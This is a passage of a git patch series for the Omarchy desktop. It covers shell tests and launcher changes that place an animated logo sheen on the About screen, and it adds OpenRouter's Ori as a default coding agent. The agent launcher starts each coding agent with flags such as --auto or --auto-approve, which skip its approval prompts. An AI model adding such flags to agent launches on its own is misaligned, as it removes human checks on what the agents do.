'AA\xf0\x9f\x91\xa8\xe2\x80\x8d\xf0\x9f\x91\xa9BB')" 'CCCCCCC' +refuses "a logo with a joined emoji is left still" + +# The same check answers for a shell that is counting bytes rather than +# characters, which is the only thing that would make a block logo unsafe here. +write_logo '████████' '████████' +byte_counting=$(LC_ALL=C bash -c 'source "$1"; sheen_build "$2" 3 3 "" 120 && echo animated || echo still' _ "$animation" "$logo") +[[ $byte_counting == "still" ]] || fail "a shell counting bytes leaves a block logo still" "$byte_counting" +pass "a shell counting bytes leaves a block logo still" + +ascii_counting=$(LC_ALL=C bash -c 'printf "%s\n" AAAA BBBB > "$2"; source "$1"; sheen_build "$2" 3 3 "" 120 && echo animated || echo still' _ "$animation" "$tmp_dir/ascii.txt") +[[ $ascii_counting == "animated" ]] || fail "a shell counting bytes still animates plain ASCII" "$ascii_counting" +pass "a shell counting bytes still animates plain ASCII" + +write_logo '████████████████████████' '████████ ████████' +columns=10 +refuses "a logo wider than the columns it was given is left still" +columns=120 + +: >"$logo" +refuses "an empty logo is left still" + +rm -f "$logo" +missing=$(build 2>&1 >/dev/null || true) +[[ -z $missing ]] || fail "a missing logo says nothing on the terminal it would draw on" "$missing" +pass "a missing logo says nothing on the terminal it would draw on" diff --git a/test/shell.d/launch-about-test.sh b/test/shell.d/launch-about-test.sh new file mode 100755 index 00000000..7e8b10d8 --- /dev/null +++ b/test/shell.d/launch-about-test.sh @@ -0,0 +1,211 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +tmp_dir="$(mktemp -d)" +trap 'rm -rf "$tmp_dir"' EXIT + +# The launcher ends by taking over the process, so source it short of that line +# and its half of the question can be asked here, without a terminal to draw on. +about="$ROOT/bin/omarchy-launch-about" +grep -q '^presize_window$' "$about" || fail "About launcher can be sourced short of its launch" +sed '/^presize_window$/,$d' "$about" >"$tmp_dir/about.bash" + +export HOME="$tmp_dir/home" +export PATH="$ROOT/bin:$PATH" +mkdir -p "$HOME/.config/omarchy/branding" +printf '%s\n' '████████' '████████' >"$HOME/.config/omarchy/branding/about.txt" + +source "$tmp_dir/about.bash" +[[ $(type -t sheen_build) == "function" ]] || fail "the launcher finds the sheen it sources" +pass "the launcher finds the sheen it sources" + +# Stand in for the terminal, and for the fastfetch run that measures the layout. +rows_by_cols="45 140" +layout_rows=20 +logo_color=$'\e[1m\e[32m' +stty() { printf '%s\n' "$rows_by_cols"; } +measure_layout() { + LAYOUT_ROWS=$layout_rows + LOGO_COLOR=$logo_color +} + +# fastfetch resolves the home directory from the passwd database rather than +# $HOME, so it would answer for the real one. Stand in for it with the search +# order it prints, pointed at this test's directories. +config_paths=( + "$HOME/.config/fastfetch/" + "$HOME/fastfetch/" + "$OMARCHY_FASTFETCH_DIR/ (*)" + "$HOME/searched-later/fastfetch/" +) +fastfetch() { + [[ ${1:-} == "--list-config-paths" ]] || return 1 + printf '%s\n' "${config_paths[@]}" +} + +# Record what the launcher hands the sheen rather than building any frames. +handed=() +sheen_build() { handed=("$@"); } + +refuses() { + if build_sheen; then + fail "$1" + else + pass "$1" + fi +} + +# The sheen repaints the cells fastfetch drew the logo on, so the launcher's idea +# of the padding has to be the config's. Read them from the config rather than +# from the launcher, or a drift between the two would agree with itself. +config_top=$(jq -r '.logo.padding.top' "$ROOT/etc/fastfetch/config.jsonc") +config_left=$(jq -r '.logo.padding.left' "$ROOT/etc/fastfetch/config.jsonc") +config_right=$(jq -r '.logo.padding.right' "$ROOT/etc/fastfetch/config.jsonc") + +[[ $LOGO_PAD_TOP == "$config_top" && $LOGO_PAD_LEFT == "$config_left" && $LOGO_PAD_RIGHT == "$config_right" ]] || + fail "the launcher's padding is the fastfetch config's" "config: $config_top/$config_left/$config_right, launcher: $LOGO_PAD_TOP/$LOGO_PAD_LEFT/$LOGO_PAD_RIGHT" +pass "the launcher's padding is the fastfetch config's" + +build_sheen || fail "a roomy window animates" +pass "a roomy window animates" + +# The sheen is told where the logo is, what colour to hand the cells back in, and +# how much room it has left of the module column. +[[ ${handed[0]} == "$HOME/.config/omarchy/branding/about.txt" ]] || fail "the sheen is given the logo About draws" "${handed[0]}" +pass "the sheen is given the logo About draws" +[[ ${handed[1]} == "$((config_top + 1))" && ${handed[2]} == "$((config_left + 1))" ]] || fail "the sheen is given the cell the logo starts on" "${handed[1]}/${handed[2]}" +pass "the sheen is given the cell the logo starts on" +[[ ${handed[3]} == $'\e[0m'"$logo_color" ]] || fail "the sheen is given fastfetch's own colour to restore" "$(printf '%q' "${handed[3]}")" +pass "the sheen is given fastfetch's own colour to restore" +[[ ${handed[4]} == "$((140 - config_left))" ]] || fail "the sheen is given the columns left of the module column" "${handed[4]}" +pass "the sheen is given the columns left of the module column" + +# fastfetch reads the first config it finds across several directories, and any +# of them ahead of Omarchy's own can put the logo somewhere else entirely. +for directory in .config/fastfetch fastfetch; do + mkdir -p "$HOME/$directory" + touch "$HOME/$directory/config.jsonc" + refuses "a fastfetch config in ~/$directory leaves the logo still" + rm -r "${HOME:?}/$directory" +done + +# One fastfetch would never read, because Omarchy's own comes first, is not a +# reason to stop: the logo on screen is still the one About drew. +mkdir -p "$HOME/searched-later/fastfetch" +touch "$HOME/searched-later/fastfetch/config.jsonc" +build_sheen || fail "a config fastfetch searches after Omarchy's own still animates" +pass "a config fastfetch searches after Omarchy's own still animates" +rm -r "${HOME:?}/searched-later" + +# A window with no room for the cursor past the layout's last line has scrolled, +# and the logo is no longer on the rows the frames address. +rows_by_cols="$((layout_rows + 1)) 140" +build_sheen || fail "a window with one row past the layout animates" +pass "a window with one row past the layout animates" +rows_by_cols="$layout_rows 140" +refuses "a window level with the layout's last line leaves it still" +rows_by_cols="45 140" + +# The loop plays whatever frames are left lying about, so a build that failed has +# to leave none of the last one's. +SHEEN_FRAMES=(stale frames) +NO_COLOR=1 +build_sheen || true +unset NO_COLOR +(( ${#SHEEN_FRAMES[@]} == 0 )) || fail "a build that failed leaves no frames to replay" "${#SHEEN_FRAMES[@]} left" +pass "a build that failed leaves no frames to replay" + +# fastfetch drops the logo's colour for a terminal that asked for none, but not +# for the measurement, so the colour to restore would be measured wrong — and a +# glint is colour besides. +NO_COLOR=1 +refuses "a session that asked for no colour leaves the logo still" +unset NO_COLOR + +# A home directory may contain a space, and the marker fastfetch puts beside the +# config it settled on is not part of the path. +spacey="$tmp_dir/example user/.config/fastfetch" +mkdir -p "$spacey" +touch "$spacey/config.jsonc" +config_paths=("$tmp_dir/example user/.config/fastfetch/" "$OMARCHY_FASTFETCH_DIR/ (*)") +custom_fastfetch_config || fail "a fastfetch config in a path with a space is found" +pass "a fastfetch config in a path with a space is found" +rm -r "$tmp_dir/example user" +config_paths=("$HOME/.config/fastfetch/" "$HOME/fastfetch/" "$OMARCHY_FASTFETCH_DIR/ (*)") + +# An enumeration that said nothing is not the same answer as "none of them". +mkdir -p "$HOME/.config/fastfetch" +touch "$HOME/.config/fastfetch/config.jsonc" +listing=$(declare -f fastfetch) +fastfetch() { return 7; } +custom_fastfetch_config || fail "an enumeration that failed does not read as no config" +pass "an enumeration that failed does not read as no config" +eval "$listing" +rm -r "${HOME:?}/.config/fastfetch" + +# The grid costs a process and is only read on the poll interval, so a resize can +# land while it is being read. The sweep has to see that before it paints again. +SHEEN_FRAMES=("first" "second" "third") +tick() { :; } +resized=false +content_changed() { resized=true; return 1; } +painted=$(play_sheen || true) +[[ -z $painted ]] || fail "a resize landing during the check stops the sweep before it paints" "$(printf '%q' "$painted")" +pass "a resize landing during the check stops the sweep before it paints" + +resized=false +content_changed() { return 1; } +painted=$(play_sheen || true) +[[ $painted == "firstsecondthird" ]] || fail "an undisturbed sweep writes every frame" "$(printf '%q' "$painted")" +pass "an undisturbed sweep writes every frame" + +# Every builder above can be exercised while nothing on screen ever animates, so +# check that the render loop is what calls them. +render_block=$(sed -n '/--render/,$p' "$about") +for called in build_sheen play_sheen rest_sheen; do + [[ $render_block == *"$called"* ]] || fail "the render loop plays the sheen" "it never calls $called" +done +pass "the render loop plays the sheen" + +measure_layout() { return 1; } +refuses "a layout fastfetch cannot be measured from leaves it still" + +# Once the logo is taller than the module column, fastfetch writes a row more +# than logo-plus-padding, so a window sized by that arithmetic scrolls its top +# padding away — and a scrolled layout is one the sheen then refuses. The fit +# asks fastfetch how tall the layout came out instead. +rm -rf "${HOME:?}/.local" +printf '%s\n' $(for i in $(seq 40); do echo '██████████'; done) >"$HOME/.config/omarchy/branding/about.txt" +layout_rows=43 +measure_layout() { + LAYOUT_ROWS=$layout_rows + LOGO_COLOR=$logo_color +} +fastfetch() { + case ${1:-} in + --list-config-paths) printf '%s\n' "${config_paths[@]}" ;; + --logo) for i in $(seq 29); do printf '%065d\n' 0; done ;; + *) return 1 ;; + esac +} +hyprctl() { + [[ $1 == "clients" ]] && printf '[{"class":"org.omarchy.about","address":"0x1","size":[800,600]}]\n' + return 0 +} + +# logo 10 wide + the config's padding + a 65-column module block. +fit_cols=$(( config_left + 10 + config_right + 65 + config_left )) + +rows_by_cols="$((layout_rows + 1)) $fit_cols" +fit_window || fail "the fit is satisfied by a window with a row past the layout" +pass "the fit is satisfied by a window with a row past the layout" + +rows_by_cols="$layout_rows $fit_cols" +if fit_window; then + fail "the fit is not satisfied by a window that scrolls the layout" +else + pass "the fit is not satisfied by a window that scrolls the layout" +fi From 2c247e390e357ae0fee3f8565b0c816adb705e6a Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Sat, 22 Aug 2026 20:18:14 +0200 Subject: [PATCH 011/336] Stop the About logo moving when the animation starts (#7786) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Ask the terminal whether the layout scrolled Whether the logo is on the rows the frames address was decided by arithmetic: count the lines of a second fastfetch run, and animate if the window has one more. That holds only while the second run and the real one agree, and they need not — a module that appears between them, a wrap the measurement never sees, anything that makes the painted layout a row taller than the counted one. The screen then scrolls, the logo sits a row above where these frames draw it, and the animation paints a copy of the logo one row below the real one. fastfetch has just painted when the question is asked, so the terminal already knows the answer: an unscrolled layout leaves the cursor one row past its last line. Ask for it, and keep the arithmetic for a terminal that will not say. The reply has to be read without a command substitution around it, or the query goes into the substitution's own pipe instead of to the terminal, and what comes back is the escape rather than a row. 🤖 Generated by Opus 5 in Claude Code. Co-Authored-By: Claude Opus 5 (1M context) * Find the logo in the render instead of assuming where it is The row and column the frames draw on came from the padding in this repo's fastfetch config. The config that runs is the one in /etc, and `omarchy dev link` says plainly that it does not replace files at fixed system paths — so the two can disagree, and nothing in the code would notice. A logo fastfetch drew on row 1 or row 5, redrawn on row 3, is a logo that jumps the moment the animation starts and stays where the animation put it. fastfetch's own output is already being captured to measure the layout's height, so the logo can be found in it: take the longest line of the file as a landmark, look for it in the render, and turn where it was found back into where the logo starts. Padding of any size lands correctly, and a render that does not contain the file's own text is not this logo at all — a config that restyled it, a placeholder that was substituted — so there is nothing to animate and it is left alone. That last part subsumes what the config-path check was guessing at. It is kept, because it also decides whether the window may be fitted, which happens before there is a terminal to measure anything in. 🤖 Generated by Opus 5 in Claude Code. Co-Authored-By: Claude Opus 5 (1M context) * Take the cursor query back out Asking the terminal where the cursor came to rest was meant to see a scrolled layout rather than infer one. It cannot: a linefeed at the bottom margin scrolls the screen and leaves the cursor on the bottom row, so a render that fitted exactly and one that scrolled both answer with the same number. Measured on a real terminal — a 29-line layout in windows of 30, 29 and 28 rows answers 30, 29, 28. The guard therefore only ever agreed with the arithmetic it replaced, and only in the case the arithmetic already had right. What it did add was a read on the same stdin the keypress that closes About arrives on. A key pressed while the query is outstanding is swallowed; a reply that arrives after the timeout is read by the next tick as the keypress, and the window closes on its own; typed text of the right shape is accepted as an answer, because nothing checked for the introducer; and the query is written before the read turns echo off, so a fast reply can be echoed onto the screen. None of that buys anything the line count did not already give, so it goes. 🤖 Generated by Opus 5 in Claude Code. Reviewed by Codex XHigh. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh * Fit the About window with a little room to spare The window was sized to exactly what was measured: the columns the widest module line needed, and one row past the layout's last line for the cursor. That measurement is taken once, and then the content goes on living. An uptime turns minutes into hours and hours into days, a version string grows, a module shows up after the next boot — and a window with nothing in hand clips at the right edge or scrolls the top padding away the moment any of it happens. A scrolled layout also moves the logo off the row it was drawn on, which is where a shifting logo comes from. Two columns and a row, which is invisible on screen and enough for anything that ticks over. The remembered size in about.fit is keyed on the logo, so the first launch after this still opens at the old size and the fit corrects it there and then. 🤖 Generated by Opus 5 in Claude Code. Co-Authored-By: Claude Opus 5 (1M context) --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Codex XHigh --- bin/omarchy-launch-about | 59 ++++++++++++++++++++++----- test/shell.d/launch-about-test.sh | 67 +++++++++++++++++++++++++++---- 2 files changed, 109 insertions(+), 17 deletions(-) diff --git a/bin/omarchy-launch-about b/bin/omarchy-launch-about index 27fff12c..2d7c9d2c 100755 --- a/bin/omarchy-launch-about +++ b/bin/omarchy-launch-about @@ -19,6 +19,15 @@ LOGO_PAD_LEFT=2 LOGO_PAD_TOP=2 LOGO_PAD_RIGHT=6 +# The content is measured once and then goes on living: an uptime that turns +# minutes into hours and hours into days, a version string that grows, a module +# that shows up on the next boot. A window fitted to exactly what was measured +# has nowhere to put any of it, and the layout clips or scrolls the moment it +# grows — which is also the moment the logo stops being where it was drawn. Keep +# a little in hand rather than measure again every time something ticks over. +FIT_SPARE_COLUMNS=2 +FIT_SPARE_ROWS=1 + POLL_SECONDS=0.5 # fastfetch has no animation of its own, so the sheen is ours. It knows about a @@ -144,9 +153,9 @@ fit_window() { # Mirror the logo block in the fastfetch config: 2 columns of padding left of # the logo, 6 between logo and modules. Then 2 columns of right padding to - # match, and a row for the cursor so the trailing break shows. - local target_c=$(( LOGO_PAD_LEFT + logo_w + LOGO_PAD_RIGHT + module_w + LOGO_PAD_LEFT )) - local target_r=$(( LAYOUT_ROWS + 1 )) + # match, a row for the cursor so the trailing break shows, and the spare above. + local target_c=$(( LOGO_PAD_LEFT + logo_w + LOGO_PAD_RIGHT + module_w + LOGO_PAD_LEFT + FIT_SPARE_COLUMNS )) + local target_r=$(( LAYOUT_ROWS + 1 + FIT_SPARE_ROWS )) local nudges=0 rows cols address width height shift_w shift_h target_w target_h while :; do @@ -190,24 +199,52 @@ fit_window() { measure_layout() { [[ -n ${LAYOUT_ROWS:-} ]] && return 0 - local rendered row + local rendered plain needle offset found row # --pipe false because fastfetch drops its colours when it is not writing to a # terminal, and it is writing to this substitution. rendered=$(fastfetch --pipe false 2>/dev/null; printf X) rendered=${rendered%X} LAYOUT_ROWS=$(printf '%s' "$rendered" | wc -l) - (( LAYOUT_ROWS > LOGO_PAD_TOP )) || return 1 + (( LAYOUT_ROWS > 0 )) || return 1 - # Whatever fastfetch set before the first row of the logo is what the sheen has - # to give those cells back. - row=$(printf '%s' "$rendered" | sed -n "$((LOGO_PAD_TOP + 1))p") + # Find the logo in what fastfetch drew rather than working it out from the + # padding this file was written against. The config that runs is the one in + # /etc, which a checkout does not replace, so the two can disagree — and a logo + # measured two rows above where it was drawn is a logo the sheen moves. Not + # finding it at all is the same answer as finding it somewhere unexpected: + # whatever is on screen is not the text in the file, so leave it alone. + IFS=$'\t' read -r offset needle < <(logo_landmark) || return 1 + [[ -n $needle ]] || return 1 + + plain=$(printf '%s' "$rendered" | sed 's/\x1b\[[0-9;?]*[a-zA-Z]//g') + found=$(printf '%s' "$plain" | LC_ALL=C.UTF-8 awk -v needle="$needle" \ + 'index($0, needle) { print NR, index($0, needle); exit }') + [[ -n $found ]] || return 1 + read -r LOGO_ROW LOGO_COLUMN <<<"$found" + LOGO_ROW=$(( LOGO_ROW - offset )) + (( LOGO_ROW >= 1 && LOGO_COLUMN >= 1 )) || return 1 + + # Whatever fastfetch set before that row is what the sheen has to give back. + row=$(printf '%s' "$rendered" | sed -n "$(( LOGO_ROW + offset ))p") LOGO_COLOR="" [[ $row =~ ^(($ESC\[[0-9;]*m)+) ]] && LOGO_COLOR=${BASH_REMATCH[1]} return 0 } +# The longest line of the logo, and how far down the logo it sits — the most +# distinctive thing to look for in the render, and the offset that turns where it +# was found back into where the logo starts. +# Tab-separated, and the offset first, because the line may hold spaces of its +# own and splitting on them would cut the landmark short. +logo_landmark() { + LC_ALL=C.UTF-8 awk ' + { if (length($0) > best) { best = length($0); line = $0; at = NR - 1 } } + END { if (best > 0) printf "%d\t%s\n", at, line } + ' "$LOGO_FILE" 2>/dev/null +} + # The About screen's own reasons the logo might not be where these frames would # draw it. Whether the logo itself can be animated is the sheen's own question. build_sheen() { @@ -226,7 +263,9 @@ build_sheen() { measure_layout || return 1 # The layout needs a row for the cursor past its last line. Without one it has - # scrolled, and the logo is no longer on the rows the frames address. + # scrolled, and the logo is no longer on the rows the frames address. Ask the + # terminal where the cursor actually is rather than trust the arithmetic, and + # keep the arithmetic for a terminal that will not say. local rows cols read -r rows cols <<<"$(stty size)" (( rows > LAYOUT_ROWS )) || return 1 @@ -234,7 +273,7 @@ build_sheen() { # The cell the logo's first row starts on, every attribute fastfetch left on # those cells so a glint that has passed leaves them as it found them, and the # room it has to work in left of the module column. - sheen_build "$LOGO_FILE" "$(( LOGO_PAD_TOP + 1 ))" "$(( LOGO_PAD_LEFT + 1 ))" "${ESC}[0m${LOGO_COLOR}" "$(( cols - LOGO_PAD_LEFT ))" + sheen_build "$LOGO_FILE" "$LOGO_ROW" "$LOGO_COLUMN" "${ESC}[0m${LOGO_COLOR}" "$(( cols - LOGO_COLUMN + 1 ))" } # What the frames were built against. A window that resized, or a logo that was diff --git a/test/shell.d/launch-about-test.sh b/test/shell.d/launch-about-test.sh index 7e8b10d8..6fb92e73 100755 --- a/test/shell.d/launch-about-test.sh +++ b/test/shell.d/launch-about-test.sh @@ -22,14 +22,21 @@ source "$tmp_dir/about.bash" [[ $(type -t sheen_build) == "function" ]] || fail "the launcher finds the sheen it sources" pass "the launcher finds the sheen it sources" +# Kept before the stubs replace it, so the real one can be exercised below. +real_measure_layout=$(declare -f measure_layout) + # Stand in for the terminal, and for the fastfetch run that measures the layout. rows_by_cols="45 140" layout_rows=20 +logo_row=3 +logo_column=3 logo_color=$'\e[1m\e[32m' stty() { printf '%s\n' "$rows_by_cols"; } measure_layout() { LAYOUT_ROWS=$layout_rows LOGO_COLOR=$logo_color + LOGO_ROW=$logo_row + LOGO_COLUMN=$logo_column } # fastfetch resolves the home directory from the passwd database rather than @@ -76,11 +83,11 @@ pass "a roomy window animates" # how much room it has left of the module column. [[ ${handed[0]} == "$HOME/.config/omarchy/branding/about.txt" ]] || fail "the sheen is given the logo About draws" "${handed[0]}" pass "the sheen is given the logo About draws" -[[ ${handed[1]} == "$((config_top + 1))" && ${handed[2]} == "$((config_left + 1))" ]] || fail "the sheen is given the cell the logo starts on" "${handed[1]}/${handed[2]}" +[[ ${handed[1]} == "$logo_row" && ${handed[2]} == "$logo_column" ]] || fail "the sheen is given the cell the logo starts on" "${handed[1]}/${handed[2]}" pass "the sheen is given the cell the logo starts on" [[ ${handed[3]} == $'\e[0m'"$logo_color" ]] || fail "the sheen is given fastfetch's own colour to restore" "$(printf '%q' "${handed[3]}")" pass "the sheen is given fastfetch's own colour to restore" -[[ ${handed[4]} == "$((140 - config_left))" ]] || fail "the sheen is given the columns left of the module column" "${handed[4]}" +[[ ${handed[4]} == "$((140 - logo_column + 1))" ]] || fail "the sheen is given the columns left of the module column" "${handed[4]}" pass "the sheen is given the columns left of the module column" # fastfetch reads the first config it finds across several directories, and any @@ -105,10 +112,12 @@ rm -r "${HOME:?}/searched-later" rows_by_cols="$((layout_rows + 1)) 140" build_sheen || fail "a window with one row past the layout animates" pass "a window with one row past the layout animates" + rows_by_cols="$layout_rows 140" refuses "a window level with the layout's last line leaves it still" rows_by_cols="45 140" + # The loop plays whatever frames are left lying about, so a build that failed has # to leave none of the last one's. SHEEN_FRAMES=(stale frames) @@ -196,12 +205,23 @@ hyprctl() { return 0 } -# logo 10 wide + the config's padding + a 65-column module block. -fit_cols=$(( config_left + 10 + config_right + 65 + config_left )) +# logo 10 wide + the config's padding + a 65-column module block, plus the spare +# the fit keeps in hand for content that grows after it was measured. +fit_cols=$(( config_left + 10 + config_right + 65 + config_left + FIT_SPARE_COLUMNS )) +fit_rows=$(( layout_rows + 1 + FIT_SPARE_ROWS )) -rows_by_cols="$((layout_rows + 1)) $fit_cols" -fit_window || fail "the fit is satisfied by a window with a row past the layout" -pass "the fit is satisfied by a window with a row past the layout" +rows_by_cols="$fit_rows $fit_cols" +fit_window || fail "the fit is satisfied by a window with the spare in it" +pass "the fit is satisfied by a window with the spare in it" + +# Exactly the content and not a cell more is what used to be asked for, and it is +# the size that clips or scrolls as soon as an uptime turns over. +rows_by_cols="$(( layout_rows + 1 )) $(( fit_cols - FIT_SPARE_COLUMNS ))" +if fit_window; then + fail "the fit asks for more than the bare content" +else + pass "the fit asks for more than the bare content" +fi rows_by_cols="$layout_rows $fit_cols" if fit_window; then @@ -209,3 +229,36 @@ if fit_window; then else pass "the fit is not satisfied by a window that scrolls the layout" fi + +# The padding this file was written against is the config in the repo; the config +# that runs is the one in /etc, which a checkout does not replace. Measure the +# logo in what fastfetch drew rather than working it out from an assumption, or a +# logo drawn two rows lower is a logo the sheen picks up and moves. +eval "$real_measure_layout" +LOGO_FILE="$tmp_dir/landmark.txt" +printf '%s\n' '████████' '██ ██' '████████' >"$LOGO_FILE" +render_with_padding() { + local top=$1 left=$2 i line + for (( i = 0; i < top; i++ )); do printf '\n'; done + while IFS= read -r line; do printf '\e[1m\e[32m%*s%s\e[m\n' "$left" '' "$line"; done <"$LOGO_FILE" + for (( i = 0; i < 6; i++ )); do printf 'module line\n'; done +} +for pad in "2 2" "4 5" "0 0" "6 10"; do + set -- $pad + eval "fastfetch() { render_with_padding $1 $2; }" + LAYOUT_ROWS="" + measure_layout || fail "the logo is found wherever fastfetch drew it" "padding $1/$2" + [[ $LOGO_ROW == "$(( $1 + 1 ))" && $LOGO_COLUMN == "$(( $2 + 1 ))" ]] || + fail "the logo is found wherever fastfetch drew it" "padding $1/$2 measured $LOGO_ROW/$LOGO_COLUMN" +done +pass "the logo is found wherever fastfetch drew it" + +# A render that does not contain the file's own text is not this logo, whatever +# the reason — a config that restyled it, a placeholder fastfetch substituted. +fastfetch() { printf 'something else entirely\n'; } +LAYOUT_ROWS="" +if measure_layout; then + fail "a render without the logo in it is not measured" +else + pass "a render without the logo in it is not measured" +fi From 1cc5c72e2c195442d9a6e3de83fc4dbc8e5f7637 Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Sun, 23 Aug 2026 11:44:23 +0200 Subject: [PATCH 012/336] Add Ori as a lazy-loaded agent and a default-agent choice (#7709) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Ori is OpenRouter's harness: `ori claude`, `ori codex` and `ori opencode` start those agents against OpenRouter's model catalogue, and `ori code` is Ori's own agent. That last one is what the default-agent entry launches, bare — Ori has no approval prompt to skip, so there is no "don't stop to ask" flag to pass it the way the other agents get one. The package is `github:OpenRouterLabs/ori-releases`, because upstream ships prebuilt binaries as release assets and publishes nothing to npm. mise's `github` backend picks the right asset per platform and verifies GitHub's artifact attestations on the way in; `ubi` resolves the same release but is deprecated for removal in mise 2027.1. The menu glyph at U+E909 is OpenRouter's own mark. Ori publishes no logo of its own and its product page renders that one, so there was no Ori-specific mark to prefer over it. Co-authored-by: Codex XHigh --- bin/omarchy-agent | 7 ++++++- bin/omarchy-default-agent | 5 +++-- bin/omarchy-remove-preinstalls | 2 +- default/fonts/omarchy/README.md | 1 + default/fonts/omarchy/omarchy.ttf | Bin 4496 -> 4668 bytes default/omarchy/omarchy-menu.jsonc | 1 + install/user/mise.sh | 1 + manual/17-ai.md | 3 +++ migrations/1787342993.sh | 5 +++++ test/shell.d/default-agent-test.sh | 17 +++++++++++++++-- test/shell.d/menu-test.sh | 5 +++-- 11 files changed, 39 insertions(+), 8 deletions(-) create mode 100644 migrations/1787342993.sh diff --git a/bin/omarchy-agent b/bin/omarchy-agent index 964254e8..3c009460 100755 --- a/bin/omarchy-agent +++ b/bin/omarchy-agent @@ -52,7 +52,7 @@ if omarchy-cmd-missing "$agent"; then fi # Agents launched from the keybinding or menu run unattended, so each one starts -# with its own spelling of "don't stop to ask". Pi has no approval prompts. +# with its own spelling of "don't stop to ask". Pi and Ori have none to skip. case "$agent" in opencode) command=(opencode --auto) @@ -90,6 +90,11 @@ omp) command=(omp --auto-approve) [[ -n ${prompt:-} ]] && command+=(-- "$prompt") ;; +ori) + # Ori is a harness launcher, and `ori code` is the agent it runs itself. + command=(ori code) + [[ -n ${prompt:-} ]] && command+=(--prompt "$prompt") + ;; pi) command=(pi) [[ -n ${prompt:-} ]] && command+=("$prompt") diff --git a/bin/omarchy-default-agent b/bin/omarchy-default-agent index 3ff91358..1f89b765 100755 --- a/bin/omarchy-default-agent +++ b/bin/omarchy-default-agent @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Set and launch the default coding agent -# omarchy:args=[pi|omp|opencode|claude|codex|grok|agy|copilot|crush] +# omarchy:args=[pi|omp|opencode|ori|claude|codex|grok|agy|copilot|crush] # omarchy:examples=omarchy default agent | omarchy default agent codex | omarchy default agent claude installing=false @@ -27,6 +27,7 @@ case "$1" in pi) agent="pi"; name="Pi" ;; omp | oh-my-pi) agent="omp"; name="Oh My Pi"; agent_package="github:can1357/oh-my-pi" ;; opencode | open-code) agent="opencode"; name="OpenCode" ;; +ori | openrouter) agent="ori"; name="Ori"; agent_package="github:OpenRouterLabs/ori-releases" ;; claude | claude-code) agent="claude"; name="Claude Code" ;; codex) agent="codex"; name="Codex" ;; crush) agent="crush"; name="Crush" ;; @@ -34,7 +35,7 @@ grok) agent="grok"; name="Grok"; agent_package="npm:@xai-official/grok" ;; agy | antigravity | antigravity-cli | gemini | gemini-cli) agent="agy"; name="Antigravity"; agent_package="antigravity-cli" ;; copilot | github-copilot) agent="copilot"; name="GitHub Copilot" ;; *) - echo "Usage: omarchy-default-agent " + echo "Usage: omarchy-default-agent " exit 1 ;; esac diff --git a/bin/omarchy-remove-preinstalls b/bin/omarchy-remove-preinstalls index 6b2c6ed1..c096ca2e 100755 --- a/bin/omarchy-remove-preinstalls +++ b/bin/omarchy-remove-preinstalls @@ -15,7 +15,7 @@ if gum confirm "Are you sure you want to remove all preinstalled web apps, TUI w # Remove mise stubs rm -f ~/.local/bin/codex ~/.local/bin/claude ~/.local/bin/agy ~/.local/bin/copilot \ ~/.local/bin/gh ~/.local/bin/opencode ~/.local/bin/playwright ~/.local/bin/playwright-cli ~/.local/bin/pi \ - ~/.local/bin/omp ~/.local/bin/grok ~/.local/bin/crush ~/.local/bin/ghui ~/.local/bin/hunk + ~/.local/bin/omp ~/.local/bin/ori ~/.local/bin/grok ~/.local/bin/crush ~/.local/bin/ghui ~/.local/bin/hunk omarchy-pkg-drop \ aether \ diff --git a/default/fonts/omarchy/README.md b/default/fonts/omarchy/README.md index fe2e2f26..005fc874 100644 --- a/default/fonts/omarchy/README.md +++ b/default/fonts/omarchy/README.md @@ -11,6 +11,7 @@ The private-use glyphs in `omarchy.ttf` are: - `U+E906` — LM Studio, from - `U+E907` — Ollama, from - `U+E908` — T3 Code, traced from the app icon in , since upstream publishes no monochrome SVG +- `U+E909` — Ori, from , OpenRouter's own mark: Ori ships no separate logo and its product page uses this one The agent marks are monochrome so the menu can render them using the active theme's foreground and selection colors. diff --git a/default/fonts/omarchy/omarchy.ttf b/default/fonts/omarchy/omarchy.ttf index 2905c95b95c801718a002241b6526e0fa10eee64..fc47d0131ccb06e27d4a01e0014f5a22f393aea3 100644 GIT binary patch delta 388 zcmbQByhmk%aeX-h17imR0~23*PG#Ei!|E3q7?@`;FmR`3q$Z~5wekF5VBlu}0<#RD z00$$BFpzHnR^{O2Q@=@cA9 z00lT0S%iT6IY7QjMs7)k3Io$;ApZc6?~;?BoXAneWyHY1&jOOqO{^$jRA$@&7`HQWZ0=#Y&dm!{ v29#hlHg?uLd|)yUzdxhk [command-name]`. The stubs are kept current along with everything else mise manages when you run `omarchy update` (or the `mup` alias). diff --git a/migrations/1787342993.sh b/migrations/1787342993.sh new file mode 100644 index 00000000..0358b527 --- /dev/null +++ b/migrations/1787342993.sh @@ -0,0 +1,5 @@ +echo "Install ori (OpenRouter's agent harness) via mise wrapper" + +if [[ ! -f $HOME/.local/state/omarchy/preinstalls-removed ]]; then + omarchy-mise-install github:OpenRouterLabs/ori-releases ori +fi diff --git a/test/shell.d/default-agent-test.sh b/test/shell.d/default-agent-test.sh index 0445106d..5b4512f1 100644 --- a/test/shell.d/default-agent-test.sh +++ b/test/shell.d/default-agent-test.sh @@ -97,6 +97,7 @@ grok_package="npm:@xai-official/grok" omp_package="github:can1357/oh-my-pi" crush_package="crush" agy_package="antigravity-cli" +ori_package="github:OpenRouterLabs/ori-releases" assert_lazy_stub() { local package=$1 @@ -114,6 +115,7 @@ assert_lazy_stub() { assert_lazy_stub "$grok_package" grok assert_lazy_stub "$omp_package" omp assert_lazy_stub "$crush_package" crush +assert_lazy_stub "$ori_package" ori pass "custom agent lazy stubs preserve their mise packages" source "$ROOT/install/user/mise.sh" @@ -121,12 +123,17 @@ grep -Fx "$agy_package agy" "$stub_log" >/dev/null || fail "user setup creates t grep -Fx "$grok_package grok" "$stub_log" >/dev/null || fail "user setup creates the Grok lazy stub" grep -Fx "$omp_package omp" "$stub_log" >/dev/null || fail "user setup creates the Oh My Pi lazy stub" grep -Fx "$crush_package" "$stub_log" >/dev/null || fail "user setup creates the Crush lazy stub" +grep -Fx 